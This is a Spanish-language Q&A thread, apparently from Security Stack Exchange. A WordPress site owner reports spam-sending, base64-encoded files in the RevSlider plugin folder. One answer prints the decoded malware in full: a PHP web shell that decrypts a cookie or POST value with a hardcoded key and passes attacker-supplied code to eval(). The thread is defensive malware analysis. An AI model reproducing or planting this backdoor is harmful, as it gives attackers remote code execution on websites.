¿Malware en el complemento RevSlider? [duplicar]

-1

Tal vez mi sitio de WordPress está pirateado, porque siempre está enviando spam (5000 por día). Encontré un archivo en la carpeta de complementos que contiene este código base64.

¿Qué debo hacer?

EDITAR: encontré otro .

EDIT 2: y otro .

    
pregunta Joci93 28.07.2015 - 08:42
fuente

3 respuestas

2

En realidad, puede desobuflar el malware JS que recibió. Podrías hacerlo tú mismo en pocas horas. Puedes ver que el atacante está sustituyendo el alfabeto y los números del 0 al 9 y luego los codifica.

Por lo tanto, los correos no deseados que recibas podrían resultar de ese malware. Será bueno para usted estudiar cómo funciona exactamente para tomar las acciones apropiadas.

De lo contrario, si no tiene experiencia con dicho análisis de código de malware, no se asuste. Trate de encontrar también desde dónde se genera el código (lo que a veces podría ser una tarea más difícil) al escanear completamente su entorno local y cumplir con los otros pasos mencionados aquí para deshacerse de él.

Por supuesto, después de deshacerte de él, deberás cambiar tus credenciales de autenticación y revisar tus registros y exploits y las direcciones IP sospechosas usando Fail2ban para actualizar sus reglas de firewall.

    
respondido por el user45139 28.07.2015 - 09:24
fuente
1

Es el mismo shell php remoto que he descodificado aquí:

¿Qué es esto? ¿Virus o escáner?

Solo hay cambios menores y, por supuesto, la variable $ GLOBALS ["auth"] que contiene la clave de cifrado del código, lo que significa que, probablemente, este código haya sido incrustado por un bot perteneciente al propietario diferente.

    
respondido por el Tomasz Klim 28.07.2015 - 13:34
fuente
1
La respuesta de

begueradj es buena, solo quiero añadir que seguí adelante y descifre los datos. Lo que se ejecuta no se parece a nada relacionado con el correo electrónico no deseado, más bien se parece a la lógica relacionada con las cookies, aunque no estoy seguro de qué es lo que está haciendo (¿hay alguien más fluido con PHP que esté dispuesto a intentarlo?). Código incluido a continuación:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

$data = NULL;
$data_key = NULL;

$GLOBALS['auth'] = 'f3e90c82-5938-49aa-82db-d122a5b73318';
global $auth;

function sh_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function sh_decrypt($data, $key)
{
    global $auth;

    return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key);
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(sh_decrypt(@base64_decode($data), $data_key));
if (isset($data['ak']) && $auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        );
        echo @serialize($i);
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
}

EDITAR: Parece que el último archivo que publicó es el culpable de enviar los correos electrónicos no deseados. Aquí está la versión descodificada , no analicé todas las 3000 líneas (!) Pero tiene una función allí llamada sendSmtpMail que parece ser un buen indicador de lo que está haciendo el código (al menos parcialmente).

    
respondido por el puzzlepalace 28.07.2015 - 10:48
fuente

Lea otras preguntas en las etiquetas